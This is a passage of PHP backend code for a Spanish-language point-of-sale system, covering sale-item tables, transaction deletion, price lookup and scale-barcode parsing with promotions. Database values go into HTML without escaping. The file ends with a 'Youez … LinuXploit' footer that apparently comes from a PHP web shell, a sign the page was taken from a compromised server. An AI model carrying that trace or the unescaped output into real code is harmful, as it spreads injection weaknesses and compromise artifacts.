			$data[$i]['discprc'] = '<a href="#" class="editparam" key="'.$keys.'" datatitle="Descuento" dataparam="disc" val="'.number_format($key['discprc'],2).'">'.number_format($key['discprc'],2).'</a> ';

			$data[$i]['subtotal'] = '<span class="csubtotal">'.number_format($total,2)."</span>";
			$data[$i]['button'] = ' <button  type="submit" id_item="'.$key['id_item'].'" unit="'.$key['unit'].'"   class="btn btn-primary btndelete btn-sm"  id="btndeletes'.$key['id_item'].'"   ><i class="fa fa-remove"></i></button>';
			
			$data[$i]['image'] = '<img src="../../pos11/storage/products/'.$key['image'].'" width="75" height="75">';
			$i++;
		}
		$datax = array('data' => $data);
		echo json_encode($datax);
	}
	
	if($method == 'getdata4' ){
		$uniqid =  0;
		$kasir = $_SESSION['pos_id'];
		$pos = new pos();
		$array = $pos->getListTempSale4($kasir,$uniqid);
		$data = $array[1];
		$i=0;
		foreach ($data as $key) {
			$keys = $key['id_item'].'|'.$key['unit'];
			$keys = base64_encode($keys);
			$total = $key['discprc'] * $key['qty'] ;
			$utilidad =  $key['price'] - $key['discprc'] ;
			$utilidad2 =  (1 - ($key['discprc']/$key['price']))*100 ;
			
			$data[$i]['price'] = '<a href="#" align="center" class="editparam4" key="'.$keys.'"  datatitle="Precio de venta" dataparam4="hargajual" val="'.number_format($key['price'],2).'" >'.number_format($key['price'],2).'</a> ';		
											
			$data[$i]['prices'] = '<button type="submit" title="Utilidad" class="btn btn-default ">
			<a href="#" class="btnpricesUtilidad" key="'.$keys.'"  datatitle="Verificar Margenes de Utilidad" id="btnpricesUtilidad" dataparam4="Utilidad" val="'.$key['barcode'].'" val2="'.$utilidad.'" val3="'.number_format($utilidad2,2).'" > <i class="fa fa-bars"></i> Utilidad</a>
			</button>';
		
			$data[$i]['qty'] = '<a href="#" class="editparam4" key="'.$keys.'" datatitle="Cantidad" dataparam4="qty" val="'.number_format($key['qty'],2).'">'.number_format($key['qty'],2).' '.$key['unit'].'</a>';
			$data[$i]['discprc'] = '<a href="#" class="editparam4" key="'.$keys.'" datatitle="Precio Costo" dataparam4="disc" val="'.number_format($key['discprc'],2).'">'.number_format($key['discprc'],2).'</a> ';

			$data[$i]['subtotal'] = '<span class="csubtotal">'.number_format($total,2)."</span>";
			$data[$i]['button'] = ' <button  type="submit" id_item="'.$key['id_item'].'" unit="'.$key['unit'].'"   class="btn btn-primary btndelete4 btn-sm"  id="btndelete4'.$key['id_item'].'"   ><i class="fa fa-remove"></i></button>';
			$i++;
		}
		$datax = array('data' => $data);
		echo json_encode($datax);
	}
	
	
	
	if($method == 'getdata2' ){
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		//consulta del registro del producto
		$pos = new pos();
		$array = $pos->getListTempSale2($kasir,$uniqid);
		$data = $array[1];
		//consulta de las ventas
		$i=0;
		foreach ($data as $key) {
			$keys = $key['id_item'];
			$keys = base64_encode($keys);
			$data[$i]['price'] = '<a href="#" align="center" class="editparamE" key="'.$keys.'"  datatitle="Precio de venta" dataparam="hargajual" val="'.number_format($key['price']).'">'.number_format($key['price'],2).'</a> ';		
											
			$data[$i]['prices'] = '<button type="submit" title="Existencia Actual" class="btn btn-default ">
			<a href="#" class="btnPedir" key="'.$keys.'"  datatitle="Existencia Actual" id="btnPedir" dataparam="prices" val="'.$key['barcode'].'">'.number_format($key['existencia'],2).' <i class="fa fa-bars"></i></a>
			</button>';
		
			$data[$i]['qty'] = '<a href="#" class="editparamE" key="'.$keys.'" datatitle="Ventas" dataparam="qty" val="'.number_format($key['compras'],2).'">'.number_format($key['compras'],2).'</a>';
			$data[$i]['discprc'] = '<a href="#" class="editparamE" key="'.$keys.'" datatitle="Compras" dataparam="disc" val="'.number_format($key['ventas'],2).'">'.number_format($key['ventas'],2).'</a> ';

			$data[$i]['subtotal'] = '<span class="unit">'.number_format($key['dev'],2)."</span>";
			$data[$i]['merma'] = '<span class="unit2">'.number_format($key['ajustes'],2)."</span>";
			
			$data[$i]['button'] = ' <button  type="submit" id_item="'.$key['id_item'].'" unit="pz"   class="btn btn-danger btndelete2 btn-sm"  id="btndeletes'.$key['id_item'].'"   ><i class="fa fa-remove"></i></button>';
			$i++;
		}
		$datax = array('data' => $data);
		echo json_encode($datax);
	}

	if($method == 'delete_trans')
	{
		$sale_id = $_POST['sale_id'];
		$username = $_SESSION['pos_username'];
		$notehapus = 'Deleted by : '.$username.' ,at : '.date("l jS \of F Y h:i:s A");
		$pos = new pos();
		$array = $pos->deleteSale($sale_id,$notehapus);
		$data['result'] = $array[0];
		$data['error'] = $array[1];
		echo json_encode($data);
	}
	
	if($method == 'get_prices')
	{
		$id_item = $_POST['var_1'];
		$pos = new pos();
		$result = array();
		$query = $pos->getItemPrice($id_item);
		$data = $query[1];
		$id_item = $data['price_min'];
		
	echo json_encode($id_item);
	}
	
	//actualizacion 20/04/2021
		if($method == 'getdataA' ){
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		$pos = new pos();
		$array = $pos->getListTempSale($kasir,$uniqid);
		$data = $array[1];
		$i=0;
		foreach ($data as $key) {
			$keys = $key['id_item'].'|'.$key['unit'];
			$keys = base64_encode($keys);
			$total = ($key['price'] - ($key['price'] * $key['discprc'] /100) ) * $key['qty'] ;
			
			$data[$i]['price'] = '<a href="#" align="center" class="editparam" key="'.$keys.'"  datatitle="Precio de venta" dataparam="hargajual" val="'.number_format($key['price']).'">'.number_format($key['price'],2).'</a> ';		
											
			$data[$i]['prices'] = '<button type="submit" title="Precios Alternos" class="btn btn-default ">
			<a href="#" class="btnprices" key="'.$keys.'"  datatitle="precios alternos" id="btnprices" dataparam="prices" val="'.$key['barcode'].'"> <i class="fa fa-bars"></i> Precios</a>
			</button>';
		
			$data[$i]['qty'] = '<a href="#" class="editparam" key="'.$keys.'" datatitle="Cantidad" dataparam="qty" val="'.number_format($key['qty'],2).'">'.number_format($key['qty'],2).' '.$key['unit'].'</a>';
			$data[$i]['discprc'] = '<a href="#" class="editparam" key="'.$keys.'" datatitle="Descuento" dataparam="disc" val="'.number_format($key['discprc'],2).'">'.number_format($key['discprc'],2).'</a> ';

			$data[$i]['subtotal'] = '<span class="csubtotal">'.number_format($total,2)."</span>";
			$data[$i]['button'] = ' <button  type="submit" id_item="'.$key['id_item'].'" unit="'.$key['unit'].'"   class="btn btn-primary btndelete btn-sm"  id="btndeletes'.$key['id_item'].'"   ><i class="fa fa-remove"></i></button>';
			$i++;
		}
		$datax = array('data' => $data);
		echo json_encode($datax);
	}
	
	//actualizacion 25 abril 2021
	if($method == 'save_temptableBacula')
	{
		
	    //desglosamos el codigo y lo separaremos segun la nomenclatura de la bascula
		     $str =  $_POST['id_item'];
				
					$cod3 = explode('0', $str, 4);
					//print_r($cod3[3]);
					$cod4 = substr($cod3[3], 0, -7);
					//codigo si es 8 es 08 y si es 12 es 12
				$barcode =$cod4;
					//echo "---Peso: ";
					$datos3 = substr($str,7,-2);
					//echo "--";
					//print_r($datos3/100);
					//extraemos peso
				$peso = $datos3/100;
		//////////termina desglose de codigo
		
		
		$uniqid =  $_SESSION['pos_uniqid'];
		$kasir =  $_SESSION['pos_id'];
		
		$pos = new pos();
		$result = array();
		$query = $pos->getItem3($barcode);
		$data = $query[1];
		$result['id_item'] = $data['id_item'];
		$result['item_name'] = $data['item_name'];
		$result['barcode'] = $barcode;
		$result['qty'] = $peso;
		$result['unit'] = $data['unit'];
		$result['price'] = $data['price'];
		$result['discprcn'] = 0;
		$result['discrp'] = 0;

				//revisamos promocion por producto
		$result2 = array();
		$query2 = $pos->getPromo($result['barcode']);
		$data2 = $query2[1];
		$result2['name'] = $data2['name'];
		$result2['tipo'] = $data2['tipo'];
		$result2['monto'] = $data2['monto'];
		$result2['product_id'] = $data2['product_id'];
		$result2['category_id'] = $data2['category_id'];
		$result2['client_id'] = $data2['client_id'];
		$result2['is_active'] = $data2['is_active'];
		$result2['created_ini'] = $data2['created_ini'];
		$result2['created_finish'] = $data2['created_finish'];
		$NombrePromo = $data2['name'];
		//comparamos si hay un producto dentro de las promos
		$operacion=0;
		if($result2['product_id']==$result['barcode']){
			
			//revisamos que tipo es por porcentaje = 1 o cantidad = 2
			if($result2['tipo'] == 1)
			{
				$result['discprcn']= $result2['monto']; 
				
			}elseif($result2['tipo']== 2){
				$result['price'] = $result['price'] - $result2['monto']; 
				$result['discrp'] = $result2['monto']; 
			}else
			{
				$result['price'] = $result['price'];
				$result['barcode']="ErrorPromo";
			}
			
		}
		

		$check = $pos->getCheckProduk($kasir,$uniqid,$result['id_item']);
		$jum = $check[1];
		//validamos precio mayor a cero
		if($result['price'] > 0 ){
		
			if($jum >=1)
			{
				
			}
			else
			{
				$insert = $pos->saveTempSale($kasir,$uniqid,$result['id_item'],	$result['barcode'],$result['unit'],$result['item_name'],$result['qty'], $result['price'], $result['discprcn'],$result['discrp']);
				$retval['result'] = $insert[0];
				$retval['error'] = $insert[1];
				$retval['msg'] = "bien";
				$retval['promo'] = 	$NombrePromo;
			}
		}else{
			
			$retval['msg'] = "mal";
		}	
		echo json_encode($retval);
	}

	

} else {
	exit('No direct access allowed.');
}


?>


Youez - 2016 - github.com/yon3zu
LinuXploit